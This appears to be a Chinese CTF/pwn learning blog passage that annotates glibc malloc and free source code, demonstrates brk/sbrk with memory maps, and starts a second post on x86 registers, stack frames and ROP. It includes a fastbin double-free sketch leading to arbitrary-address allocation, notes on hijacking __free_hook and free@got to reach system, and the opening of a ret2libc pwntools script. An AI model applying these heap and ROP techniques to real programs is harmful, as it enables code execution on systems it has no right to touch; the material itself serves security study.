完美返回！ 4 何时不能用last remainder？\n情况一：申请的是大内存\nLast Remainder机制的设计初衷，是为了优化\u0026quot;程序连续申请小对象（比如小结构体、链表节点）\u0026ldquo;时的空间局部性，如果申请大内存，glibc的策略会非常保守，必须遵循最佳适配原则，它宁可花时间把Unsorted bin里所有的垃圾都分拣归位，然后去Large bin里慢慢挑一块最合适的，也绝对不允许你为了贪图速度，在一块现成的last remainder上随意乱切，这会导致严重的内存碎片。\n情况二：unsorted bin里不止一个垃圾块\n源码条件：bck==unsorted_chunks (av)（这意味着当前遍历到的块的前一个节点就是链表头，即它是双向链表里唯一的元素）。\n因为如果unsorted bin里面有很多退回来的内存块，说明堆里已经积攒了不少未经整理的碎片了，既然如此，那不妨直接进行整理分拣，说不定合并之后就能找到合适的内存块\n情况三：当前拿到的块，不是last remainder\n源码条件：victim==av-\u0026gt;last_remainder（当前这块内存的地址，必须记录在案的last_remainder指针完全吻合）。\n因为如果这个内存块不是上次切剩下的，那么从他上面切，就无法保证空间局部性（切下来的内存和上次分配的内存不在物理位置上相邻），就失去了这个机制原本存在的意义\n情况四：切完之后这个内存块太小了\n源码条件：(unsigned long) (size) \u0026gt; (unsigned long) (nb + MINSIZE)。\n在 64 位的 Linux 下，一个合法的空闲 chunk 最小也必须是 32 字节（0x20，包含头部的prev_size、size以及空闲时的fd、bk指针）。这就叫MINSIZE，如果我最后切完剩的内存块连最基本的堆块结构体都放不小，那就完蛋了。。。\nfree _libc_free 完整源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 void __libc_free (void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ void (*hook) (void *, const void *) = atomic_forced_read (__free_hook); if (__builtin_expect (hook != NULL, 0)) { (*hook)(mem, RETURN_ADDRESS (0)); return; } if (mem == 0) /* free(0) has no effect */ return; p = mem2chunk (mem); if (chunk_is_mmapped (p)) /* release mmapped memory. */ { /* see if the dynamic brk/mmap threshold needs adjusting */ if (!mp_.no_dyn_threshold \u0026amp;\u0026amp; p-\u0026gt;size \u0026gt; mp_.mmap_threshold \u0026amp;\u0026amp; p-\u0026gt;size \u0026lt;= DEFAULT_MMAP_THRESHOLD_MAX) { mp_.mmap_threshold = chunksize (p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk (p); return; } ar_ptr = arena_for_chunk (p); _int_free (ar_ptr, p, 0); } free函数通过直接调用这里的__libc_free函数完成chunk的释放操作，但是free函数的钩子函数（hook）比malloc的更难劫持，但劫持了好处也更大，比如malloc的我只能写one_gadget，但是free我可以直接指向系统调用\n外层主要负责基础检查和多线程 Arena 锁定\n_int_free 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 static void _int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size; /* 要释放的 chunk 的大小 */ mchunkptr nextchunk; /* 物理内存上的下一个 chunk */ INTERNAL_SIZE_T nextsize; /* 下一个 chunk 的大小 */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ const char *errstr = NULL; int locked = 0; size = chunksize (p); /* 安检 1：指针对齐检查。64位下必须 16 字节对齐。 */ if (__builtin_expect ((uintptr_t) p \u0026gt; (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr (check_action, \u0026#34;free(): invalid pointer\u0026#34;, chunk2mem (p), av); /* 安检 2：大小下限检查。不能比最小值 (32字节) 还小，并且 size 也必须对齐 */ if (__glibc_unlikely (size \u0026lt; MINSIZE || !aligned_OK (size))) malloc_printerr (check_action, \u0026#34;free(): invalid size\u0026#34;, chunk2mem (p), av); /* 找到物理相邻的下一个 chunk 的地址 */ check_inuse_chunk(av, p); nextchunk = chunk_at_offset(p, size); /* 安检 3：下一个 chunk 的大小不能瞎写。 */ if (__builtin_expect (chunksize_nomask (nextchunk) \u0026lt;= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (nextchunk) \u0026gt;= av-\u0026gt;system_mem, 0)) malloc_printerr (check_action, \u0026#34;free(): invalid next size (normal)\u0026#34;, chunk2mem (p), av); 这里的check_inuse_chunk函数目的在于check一下free的chunk是否正在使用，方法就是看下一个chunk的prev_inuse是不是0，具体实现函数：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #define next_chunk(p) ((mchunkptr) (((char *) (p)) + ((p)-\u0026gt;size \u0026amp; ~SIZE_BITS))) static void do_check_inuse_chunk (mstate av, mchunkptr p) { mchunkptr next; do_check_chunk (av, p); if (chunk_is_mmapped (p)) return; /* mmapped chunks have no next/prev */ /* Check whether it claims to be in use ... */ assert (inuse (p)); next = next_chunk (p); /* ... and is surrounded by OK chunks. Since more things can be checked with free chunks than inuse ones, if an inuse chunk borders them and debug is on, it\u0026#39;s worth doing them. */ if (!prev_inuse (p)) { /* Note that we cannot even look at prev unless it is not inuse */ mchunkptr prv = prev_chunk (p); assert (next_chunk (prv) == p); do_check_free_chunk (av, prv); } if (next == av-\u0026gt;top) { assert (prev_inuse (next)); assert (chunksize (next) \u0026gt;= MINSIZE); } else if (!inuse (next)) do_check_free_chunk (av, next); } 随后\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 if ((unsigned long) (size) \u0026lt;= (unsigned long) (get_max_fast()) #if TRIM_FASTBINS /* If TRIM_FASTBINS set, don\u0026#39;t place chunks bordering top into fastbins */ \u0026amp;\u0026amp; (chunk_at_offset(p, size) != av-\u0026gt;top) #endif ) { if (__builtin_expect( chunksize_nomask(chunk_at_offset(p, size)) \u0026lt;= 2 * SIZE_SZ, 0) || __builtin_expect( chunksize(chunk_at_offset(p, size)) \u0026gt;= av-\u0026gt;system_mem, 0)) { /* We might not have a lock at this point and concurrent modifications of system_mem might have let to a false positive. Redo the test after getting the lock. */ if (have_lock || ({ assert(locked == 0); __libc_lock_lock(av-\u0026gt;mutex); locked = 1; chunksize_nomask(chunk_at_offset(p, size)) \u0026lt;= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) \u0026gt;= av-\u0026gt;system_mem; })) { errstr = \u0026#34;free(): invalid next size (fast)\u0026#34;; goto errout; } if (!have_lock) { __libc_lock_unlock(av-\u0026gt;mutex); locked = 0; } } 走一遍校验，就是判断这个free的chunk是不是fastbin，后面判断这个chunk的后一个chunk不为top_chunk，然后满足的话就是一个check，判断size是否小于MINSIZE或者是size\u0026gt;=system_mem。就是排除一些不合理的情况然后会重新尝试拿分配器的锁然后再做一个判断，如果刚刚那个条件还是成立的话那就说明size真的被改成了非法数值，那就报错退出。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 free_perturb(chunk2mem(p), size - 2 * SIZE_SZ); set_fastchunks(av); unsigned int idx = fastbin_index(size); fb = \u0026amp;fastbin(av, idx); /* Atomically link P to its fastbin: P-\u0026gt;FD = *FB; *FB = P; */ mchunkptr old = *fb, old2; unsigned int old_idx = ~0u; do { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect(old == p, 0)) { errstr = \u0026#34;double free or corruption (fasttop)\u0026#34;; goto errout; } /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been deallocated. See use of OLD_IDX below for the actual check. */ if (have_lock \u0026amp;\u0026amp; old != NULL) { old_idx = fastbin_index(chunksize(old)); } p-\u0026gt;fd = old2 = old; } while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2)) != old2); if (have_lock \u0026amp;\u0026amp; old != NULL \u0026amp;\u0026amp; __builtin_expect(old_idx != idx, 0)) { errstr = \u0026#34;invalid fastbin entry (free)\u0026#34;; goto errout; } 可以看看free_perturb函数\n1 2 3 4 5 6 7 //free_perturb static void free_perturb (char *p, size_t n) { if (__glibc_unlikely (perturb_byte)) memset (p, perturb_byte, n); } 其实跟前面malloc那个函数差不多，就是看你有没有设置那个值，如果设置了就在free之前把堆块进行memset清空，但是不一样的是，perturb中memset第二个参数是要根据你设置的值再异或一个0xff的。\n【重点：Double Free 漏洞】： 注意看那句 if (old == p)。glibc只检查了当前 Fastbin 链表的第一个元素（链表头）是不是你现在正在 free 的这个元素。 这就产生了一个致命漏洞：假设你有一个指针 A，你连续 free(A); free(A);，它会被报错拦截，但是，如果你 free(A); free(B); free(A); 呢？\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 void *A = malloc(0x10); void *B = malloc(0x10); free(A); // 链表：Head -\u0026gt; A free(B); // 链表：Head -\u0026gt; B -\u0026gt; A free(A); // 链表：Head -\u0026gt; A -\u0026gt; B -\u0026gt; A (绕过检查！) // 1. 申请第一次，系统顺着链表把头部拿出来，即 A。 // 此时链表变成：Head -\u0026gt; B -\u0026gt; A void *hacker_ptr1 = malloc(0x10); // hacker_ptr1 其实就是 A // 利用 hacker_ptr1 往里面写数据！ // 因为 A 还在链表里，写入的数据会直接覆盖 A 的 fd 指针！ // 假设写入了Target_addr（系统核心函数的地址） *(long *)hacker_ptr1 = Target_Addr; // 此时底层链表被黑客暗中篡改成了：Head -\u0026gt; B -\u0026gt; Target_addr // 2. 申请第二次，系统把 B 拿出来。 // 此时链表变成：Head -\u0026gt; Target_addr void *hacker_ptr2 = malloc(0x10); // 拿到了 B，这步只是为了把 B 挤出去 // 3. 申请第三次。 // 系统顺着链表，傻乎乎地把 Target_addr 当作一块正常的堆内存分配给了用户！ void *hacker_ptr3 = malloc(0x10); // 此时，hacker_ptr3 指向了操作系统的核心区！ // 只要执行： strcpy(hacker_ptr3, \u0026#34;恶意代码/木马\u0026#34;); // 游戏结束，系统沦陷。 第一次free，把A加到fastbin，随后第二次free，加入B，第三次free，此时因为fastbin的头部是B，而我现在加入的是A，A!=B，不会报错退出，ptmalloc觉得没问题，就正常进行，此时变为Head-\u0026gt;A-\u0026gt;B-\u0026gt;A，可以触发double free漏洞了，double free的核心作用在于劫持程序流，任意地址写，就拿上面这段程序举例\n1.经过释放后，空闲链表现在是Head-\u0026gt;A-\u0026gt;B-\u0026gt;A\n2.第一次申请内存malloc(0x10)，系统把A拿出来分配给用户，链表Head-\u0026gt;B-\u0026gt;A\n3.此时A是一块合法的，可读写的内存块，但是在ptmalloc的视角，A同时也是链表尾部的空闲块\n4.我们往A里面写入一段数据，此时A对应底层chunk的数据区（fd指针位置），写入的数据会直接覆盖A的fd指针，如果我们借此机会把fd篡改为系统某个极其重要的函数（例如Target_addr），此时链表变为\nHead-\u0026gt;B-\u0026gt;A-\u0026gt;Target_addr\n5.再次malloc，系统分配出B，链表是Head-\u0026gt;A-\u0026gt;Target_addr\n6.第三次malloc，系统把虚假的A再次分配出来，链表是Head-\u0026gt;Target_addr\n7.第四次malloc，ptmalloc顺着链表直接把Target_addr当做一块申请好的内存返回给用户，这时，我们就成功拿到了一个指向系统地址的指针，只要往这个指针写入一段恶意的机器码，程序运行到这，直接getshell！！！\n也就是这个意思，第一次free，bin为空，链入其中，fastbin多一个A，第二次free A，A再次加入，导致产生了一个自己指向自己的指针，A-\u0026gt;A，如果我此时申请一个和A一样大的chunk，A被申请走，fastbin里有A，用户也有A，可以直接编辑A的指针域，比如指向got表中的free函数，那么fastbin里就是A-\u0026gt;free@got，然后申请一个和A一样大的chunk，A取出，fastbin里剩下free@got，那么第三次申请就得到了在free@got的chunk，这时我修改一下这个为system，那不就直接getshell了！！\n倘若释放的不是fastbin的大小，glibc就必须把它放入unsorted bin，但放进去之前，需要检查一下它的前后邻居是不是空闲的，是的话就合并\n1 2 3 4 if (!have_lock) { __libc_lock_lock(av-\u0026gt;mutex); locked = 1; } 这块就是上锁，本质就是为了防止多线程之间竞争\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 /* 根据当前块的指针p和大小size，计算出紧邻它的下一个物理块（nextchunk） */ nextchunk = chunk_at_offset(p, size); /* 检查 1：判断当前块是否已经是堆顶块（top chunk）。 如果当前块就是 top chunk，说明发生了严重的内存破坏或重复释放。 */ if (__glibc_unlikely(p == av-\u0026gt;top)) { errstr = \u0026#34;double free or corruption (top)\u0026#34;; goto errout; } /* 检查 2：判断下一个块是否超出了当前 arena 的边界。 如果堆是连续的（contiguous），且 nextchunk 的位置已经大于等于 top chunk 的末尾， 说明内存发生了越界（Out of bounds）或堆结构已损坏。 */ if (__builtin_expect(contiguous(av) \u0026amp;\u0026amp; (char *)nextchunk \u0026gt;= ((char *)av-\u0026gt;top + chunksize(av-\u0026gt;top)), 0)) { errstr = \u0026#34;double free or corruption (out)\u0026#34;; goto errout; } /* 检查 3：检查下一个块的 `prev_inuse` 标志位。 如果 nextchunk 的 prev_inuse 位为 0，说明系统认为当前块p处于“已释放”状态。 此时再次尝试释放p，就构成了典型的 Double Free（双重释放）漏洞。 */ if (__glibc_unlikely(!prev_inuse(nextchunk))) { errstr = \u0026#34;double free or corruption (!prev)\u0026#34;; goto errout; } /* 获取下一个块的大小 */ nextsize = chunksize(nextchunk); /* 检查 4：校验下一个块的大小是否合法。 如果 nextsize 小于等于 2 * SIZE_SZ（即小于最小合法块大小）， 或者 nextsize 大于等于整个系统分配的内存大小（system_mem）， 说明堆的元数据（metadata）已经被恶意篡改或发生了严重的越界写。 */ if (__builtin_expect(nextchunk-\u0026gt;size \u0026lt;= 2 * SIZE_SZ, 0) || __builtin_expect(nextsize \u0026gt;= av-\u0026gt;system_mem, 0)) { errstr = \u0026#34;free(): invalid next size (normal)\u0026#34;; goto errout; } /* 所有安全检查通过后，对当前块的内存区域进行扰动（通常是用特定字节覆盖）。 这有助于在调试时尽早暴露“Use-After-Free”（释放后使用）的 bug。 */ free_perturb(chunk2mem(p), size - 2 * SIZE_SZ); 这一块是检查。。。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 /* 只有非 mmap 的内存才能走到这里 */ else if (!chunk_is_mmapped(p)) { /* 读取下一个 chunk 的状态 */ nextsize = chunksize(nextchunk); /* 向上(后)合并 (Backward Consolidation) */ /* 检查前一个物理块是否在用(通过当前块 p 的 PREV_INUSE 标志位) */ if (!prev_inuse(p)) { /* 如果前一个块是空闲的，获取它的大小 */ prevsize = prev_size (p); /* 把当前指针 p 向后移动到前一个块的头部，p 变大了！ */ size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); /* 致命函数：把前一个块从它原有的双向链表里“摘”下来 */ unlink(av, p, bck, fwd); } /* 向下(前)合并 (Forward Consolidation) */ /* 检查下一个物理块是不是 Top Chunk */ if (nextchunk != av-\u0026gt;top) { /* 获取下下个 chunk 的 PREV_INUSE 位，来判断下一个 chunk 是否空闲 */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* 如果下一个块是空闲的 */ if (!nextinuse) { /* 缝合大小 */ size += nextsize; /* 同样，把下一个块从它原有的双向链表里“摘”下来 */ unlink(av, nextchunk, bck, fwd); } else { /* 如果下一个块在用，我们就只把当前块(或缝合了前面一半的块)标记为空闲 */ clear_inuse_bit_at_offset(nextchunk, 0); } /* 终极归宿：把缝合好的大 chunk 插入到 Unsorted bin 头部 */ bck = unsorted_chunks(av); fwd = bck-\u0026gt;fd; /* ... 省略 unsorted bin 安全校验 ... */ p-\u0026gt;fd = fwd; p-\u0026gt;bk = bck; if (!in_smallbin_range(size)) { p-\u0026gt;fd_nextsize = NULL; p-\u0026gt;bk_nextsize = NULL; } bck-\u0026gt;fd = p; fwd-\u0026gt;bk = p; /* 更新大小标志 */ set_head(p, size | PREV_INUSE); set_foot(p, size); /* 结束 */ check_free_chunk(av, p); } /* 如果下一个块紧挨着 Top Chunk，就直接把缝合好的 p 并入 Top Chunk 荒野区 */ else { size += nextsize; set_head(p, size | PREV_INUSE); av-\u0026gt;top = p; check_chunk(av, p); } unlink操作和漏洞\n在上下合并时，glibc发现邻居是空闲的，但这个空闲的邻居，目前正挂在unsorted/small/large bin里的某条链上，必须把它拆下来，否则链表就会断，这个拆宏定义就是unlink，核心逻辑是：\n1 FD = P-\u0026gt;fd; BK = P-\u0026gt;bk; FD-\u0026gt;bk = BK; BK-\u0026gt;fd = FD; 这一部分总结：\n触发条件：非 Fast bin 大小的小/大内存。\n此阶段旨在消除外部内存碎片，将物理相邻的空闲块“缝合”成大块：\n向后合并 (Backward Consolidation)，检查当前块的PREV_INUSE标志，若为 0，说明物理相邻的上一个块也是空闲的，利用 prev_size 找到上一个块的头部，调用 unlink 宏将其从原来的链表中卸载，并将指针与 size 缝合成一个更大的块。 向前合并 (Forward Consolidation)：找到物理相邻的下一个块，通过下下个块的 PREV_INUSE 标志来判断下一个块是否空闲，若空闲，同样调用 unlink 卸载下一个块，与当前块缝合。 投入中转站 (Unsorted Bin)：合并完成后，如果下一个块不是 Top Chunk，将缝合好的巨大空闲块，使用头插法插入到 Unsorted bin 的双向链表头部，（注意：free 永远不会将内存直接放入 Small / Large bin，分拣工作由下次的 malloc 负责）。 Top Chunk吞并 (Wilderness Absorption) ，在进行“向前合并”时，如果发现物理相邻的下一个块就是Top Chunk：分配器不再将其投入 Unsorted bin，而是直接将刚才合并好的块并入Top Chunk荒野区，扩充堆顶的未分配边界。 最后\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #define FASTBIN_CONSOLIDATION_THRESHOLD (65536UL) /* If freeing a large space, consolidate possibly-surrounding chunks. Then, if the total unused topmost memory exceeds trim threshold, ask malloc_trim to reduce top. Unless max_fast is 0, we don\u0026#39;t know if there are fastbins bordering top, so we cannot tell for sure whether threshold has been reached unless fastbins are consolidated. But we don\u0026#39;t want to consolidate on each free. As a compromise, consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD is reached. */ if ((unsigned long)(size) \u0026gt;= FASTBIN_CONSOLIDATION_THRESHOLD) { if (have_fastchunks(av)) malloc_consolidate(av); if (av == \u0026amp;main_arena) { #ifndef MORECORE_CANNOT_TRIM if ((unsigned long)(chunksize(av-\u0026gt;top)) \u0026gt;= (unsigned long)(mp_.trim_threshold)) systrim(mp_.top_pad, av); #endif } else { /* Always try heap_trim(), even if the top chunk is not large, because the corresponding heap might go away. */ heap_info *heap = heap_for_ptr(top(av)); assert(heap-\u0026gt;ar_ptr == av); heap_trim(heap, mp_.top_pad); } } 如果释放过大空间，那么就会调用malloc_consolidate合并所有fast bin，如果进程所在的分配区是主分配区并且可以收缩内存的话，就调用systrim收缩内存，否则就获得非主分配区的heap_info指针，调用heap_trim收缩heap，相当于把大面积物理内存归还给操作系统，降低程序内存占用。\n到这里，源码解析就结束啦！！！\n看完了malloc和free函数的源码分析，接下来我们来从底层看看他们是怎么配合进行内存分配的\nsbrk_demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; int main() { void *curr_brk, *tmp_brk = NULL; printf(\u0026#34;Welcome to sbrk example:%d\\n\u0026#34;, getpid()); /* sbrk(0) gives current program break location */ tmp_brk = curr_brk = sbrk(0); printf(\u0026#34;Program Break Location1:%p\\n\u0026#34;, curr_brk); getchar(); /* brk(addr) increments/decrements program break location */ brk(curr_brk+4096); curr_brk = sbrk(0); printf(\u0026#34;Program break Location2:%p\\n\u0026#34;, curr_brk); getchar(); brk(tmp_brk); curr_brk = sbrk(0); printf(\u0026#34;Program Break Location3:%p\\n\u0026#34;, curr_brk); getchar(); return 0; } 我们来看看这段代码，先说说概念吧：\nbrk 全称Program Break，程序断点，相当于堆顶的一根警戒线，警戒线以下的内存，是合法申请的内存，警戒线以上的内存，是未映射的内存，一旦代码访问到这里。程序就会立刻崩溃\n操作系统提供了两个系统调用函数来移动这根线：\nsbrk：增量，让警戒线往上挪多少个字节，返回挪动之前的旧地址，特例sbrk(0)，意思就是挪动0字节，作用在于查询当前警戒线在哪\nbrk：绝对地址，直接把警戒线移动到你指定的地址上\n对于\u0026lt;unistd.h\u0026gt;这个头文件比较关键，因为brk，sbrk，getpid都是Linux调用，都在这里\n程序中的getpid()，为了获取当前的进程PID号，本质就是为了方便查看内存状态，使用指令\n1 cat /proc/\u0026lt;pid\u0026gt;/maps 1 2 3 4 /* sbrk(0) gives current program break location */ tmp_brk = curr_brk = sbrk(0); printf(\u0026#34;Program Break Location1:%p\\n\u0026#34;, curr_brk); getchar(); sbrk(0)：问一下当前程序堆顶警戒线在哪，将这个地址保存在curr_brk中，同时备份到tmp_brk中，后面拿来恢复\ngetchar()：运行到这里卡住，方便我们看maps情况\n1 2 3 4 5 6 /* brk(addr) increments/decrements program break location */ brk(curr_brk + 4096); curr_brk = sbrk(0); printf(\u0026#34;Program break Location2:%p\\n\u0026#34;, curr_brk); getchar(); 扩大堆内存，使用brk(curr_brk+4096)，直接警戒线往上抬，接着打印当前地址，再次getchar()停止\n1 2 3 4 5 brk(tmp_brk); curr_brk = sbrk(0); printf(\u0026#34;Program Break Location3:%p\\n\u0026#34;, curr_brk); getchar(); 回收堆内存，我们一开始备份好了初始地址，这里直接恢复就行了\n代码解析完毕，接下来看看真实内存状态变化！\n流程 PID7048，我们跟进看看内存分布\n注意看[heap]的位置\n1 09068000-0908a000 rw-p 00000000 00:00 0 算一下0x908a000-0x9068000=0x22000，也就是139264个字节，这是ptmalloc初始化时找内核要的内存大小\n回车进行下一步\n内存分布变为这样，继续看[heap]的位置\n1 09068000-0908b000 rw-p 00000000 00:00 0 算一下0x908b000-0x9068000=0x23000，继续相减，0x23000-0x22000=0x1000，正好是4096个字节\n证明手动扩充的字节加进去了，继续下一步\n继续看[heap]状态\n1 09068000-0908a000 rw-p 00000000 00:00 0 做个减法，0x908a000-0x68000=0x22000，可以看到长度又回去了\n说明成功又把4096个字节还给了操作系统\n（注意，这里因为开了堆地址随机化，所以每次启动地址都会不同，但是偏移是不变的）\n仔细想想可以发现，通常来看，没写malloc函数，堆一般来说是不会马上被初始化的，但这里一开始竟然就有了[heap]段，其实是因为printf函数为了提升I/O效率，会在底层分配一段内存作为输出缓冲区，所以他会马上激活，直接就向操作系统申请一大块内存了。。\n上述内容若有理解不够深入或表述不够恰当之处，欢迎各位师傅批评指正。\n","date":"2026-08-14T10:51:05+08:00","image":"/covers/05.jpg","permalink":"/p/heap-basics/","title":"堆初步探索"},{"content":" 当你用 C/C++ 写代码时，你是在高级语言的抽象层构建逻辑； 当你做 Pwn 时，你是在用底层汇编、内存布局、操作系统机制去审视这套逻辑。\n前置知识 32位寄存器 EAX：累加器，用于算术计算和函数返回值\nEBX：基地址寄存器，作为存储器指针\nECX：计数寄存器，常用于循环计数\nEDX：数据寄存器，参与乘除计算和I/O操作\nESP：堆栈指针，指向栈顶\nEBP：基指针，指向栈底\nESI/EDI：变址寄存器，用于字符串操作\n段寄存器 段寄存器用于支持段式存储器管理，包含6个16位寄存器：CS、DS、ES、SS、FS、GS。\nCS：代码段寄存器，指向代码段的基址。\nDS：数据段寄存器，指向数据段的基址。\nES：附加数据段寄存器，常用于字符串操作。\nSS：栈段寄存器，指向堆栈段的基址。\nFS/GS：附加段寄存器，通常由操作系统用于线程或CPU特定的内存管理。\n指令指针寄存器 EIP：存储下一条要执行指令的地址，它的值会随着指令的执行自动更新，或通过跳转指令修改\n标志寄存器 EFLAGS寄存器包含多个标志位，用于反映运算结果或控制处理器状态。\nCF：进位标志，表示是否产生进位或借位。\nZF：零标志，表示运算结果是否为零。\nSF：符号标志，反映结果的正负。\nOF：溢出标志，表示有符号运算是否溢出。\nDF：方向标志，控制字符串操作的方向。\nIF：中断允许标志，决定是否响应外部中断。\n64位寄存器 64位 低32位 低16位 低8位 描述 rax eax ax al 累加器 rbx ebx bx bl 基地址 rcx ecx cx cl 循环计数器 rdx edx dx dl 数据寄存器，通常扩展A寄存器 rsi esi si sil 字符串操作的源索引 rdi edi di dil 字符串操作的目的索引 rbp ebp bp bpl 基地址指针 (栈帧基地址) rsp esp sp spl 栈指针 (栈顶指针) r8 r8d r8w r8b 新增通用寄存器 r9 r9d r9w r9b 新增通用寄存器 r10 r10d r10w r10b 新增通用寄存器 r11 r11d r11w r11b 新增通用寄存器 r12 r12d r12w r12b 新增通用寄存器 r13 r13d r13w r13b 新增通用寄存器 r14 r14d r14w r14b 新增通用寄存器 r15 r15d r15w r15b 新增通用寄存器 汇编指令 push 比如push rbp\n1.先将指针rsp-8（栈从高地址向低地址增长，先腾出空间）\n2.然后把rbp寄存器中的值写入新栈顶[rsp]指向的内存位置\n也就是说 push rbp是吧当前的rbp的值保存在栈上\npop 比如pop rbp\n1.从栈顶（即[rsp]指向的内存位置）读取一个8字节的值\n2.将它写入rbp寄存器中\n3.同时将rsp增加8（栈指针上移，相当于弹出）\n也就是说 pop rbp是吧栈上的当前值弹出并赋值给rbp\n以调用一个函数为例，比如是x86-64，调用者做了\n1 call my_function ; 等价于 push rip; jmp my_function 此时栈（向低地址增长）的状态：\n1 2 3 4 5 6 高地址 | ... | | 参数 n | （某些参数可能通过寄存器传，其余压栈） | ... | | 返回地址 | ← call 指令压入的 rip（调用者的下一条指令） 低地址 ← rsp 指向这里 最开始的操作：\n1 2 3 4 my_function: push rbp ; ① 保存调用者的 rbp mov rbp, rsp ; ② 设置自己的栈帧基址 sub rsp, N ; ③ 为局部变量分配空间（可选） push rbp\n将调用者函数的栈帧基址（rbp的值）压栈保存，这样能方便函数结束之后还能恢复到最初的栈帧，此时rsp自动减8，且rsp现在指向旧的rbp\nmov rbp,rsp\n把当前栈顶（保存rbp的那个位置）作为当前函数的栈帧基址，固定到rbp，之后除非使用leave，不然rbp在整个函数不会改变\nsub rsp,N\n把rsp向下移动N个字节，腾出局部变量，临时数据，可能的寄存器保存区域等，如果子函数局部变量很少，有时可以省略\n这三步以后，栈内存布局变为：\n1 2 3 4 5 6 7 高地址 | 调用者的 rbp | ← rbp 现在指向这里 (当前函数的帧基址) | 返回地址 | ← rbp + 8 | 参数区/更多 | ← rbp + 16 开始可能是调用者压入的参数 | ... | | 局部变量区域 | ← rsp 指向这里 (低地址) 低地址 也就是所有的局部变量都可以通过rbp-偏移来访问，参数和返回地址可以通过rbp+偏移来访问，无论中途rsp怎么变，rbp都始终指向栈帧的底部\n结束部分\n基本函数的结尾都是：\n1 2 leave ret 他们基本都一起出现，负责清理栈帧并将控制权返回给调用者\n对于ret很好理解\n1.从栈顶弹出8字节（64位），把这个值作为返回地址，然后rsp+8\n2.跳转回这个地址并继续执行（即恢复到调用函数的下一条指令）\n它只负责修改rip和rsp\n对于leave\n它等价于两条指令\n1 2 mov rsp, rbp ; 恢复栈指针到帧基址，相当于丢弃函数内分配的局部变量空间 pop rbp ; 弹出旧 rbp，同时 rsp 自动 +8 因为我们一开始存好了rbp的基址，所以第一步mov就可以很顺利地恢复到栈帧基址，随后pop rbp，也就相当于清理旧的栈帧，成功开辟新的空间去操作\n关于ROP链 ROP（Return-Oriented Programming，返回导向编程）是一种非常经典且高级的漏洞利用技术\n前提 对于一般的漏洞攻击，最常见的手法是缓冲区溢出：攻击者把一段恶意代码（shellcode）写进程序的栈中，然后通过溢出覆盖函数的返回地址让程序直接执行这段恶意代码\n其实这也就是我们说的ret2shellcode，通过定位起始地址到返回地址，算出长度，然后塞入垃圾数据，最终覆盖返回地址为我们写入shellcode的地方，然后执行shellcode，getshell。。\n为了防御这种攻击，操作系统引入了NX（堆栈不可执行）或DEP（数据执行保护）保护，开启后，如果CPU尝试在栈上写代码，程序会直接崩溃\n这时，如果还想拿到shell的话，就得使用ROP了！\n核心 Gadget（代码片段）：就是程序内存中已经存在的，以ret指令结尾的极短指令序列\n需要ret结尾的原因是ret指令的本质在于从栈顶弹出一个地址，然后给rip，进而确定下一条指令的地址，我们需要控制程序的流程，就需要ret来辅助我们\n过程 由于我们正在构建ROP链，所以从前往后数据是以此从低往高写的，也就是低地址往高地址\n攻击者会在栈上精心布置一系列的数据和 Gadget 的地址。当原函数执行完毕触发 ret 时，可怕的连锁反应就开始了：\n触发点：函数执行到原本的 ret，此时栈顶已经被攻击者覆盖为 Gadget 1 的地址。CPU 跳转到 Gadget 1。 执行 Gadget 1： Gadget 1 执行了一条或几条有用指令（比如给寄存器赋个值）。 连接点：Gadget 1 执行完后，它的最后一条指令又是 ret！此时栈顶指针（RSP）已经移动到了下一个位置，而那里刚好是攻击者布置的 Gadget 2 的地址。 循环往复：CPU 乖乖地跳转到 Gadget 2 执行，执行完遇到 ret，又跳转到栈上的下一个地址…… 这些 Gadget 就像链条一样被 ret 指令一环扣一环地串联起来执行，这就是 ROP 链（ROP Chain）。\n实例 ret2libc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * elf = ELF(\u0026#39;./vuln\u0026#39;) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) # 题目通常会提供 libc 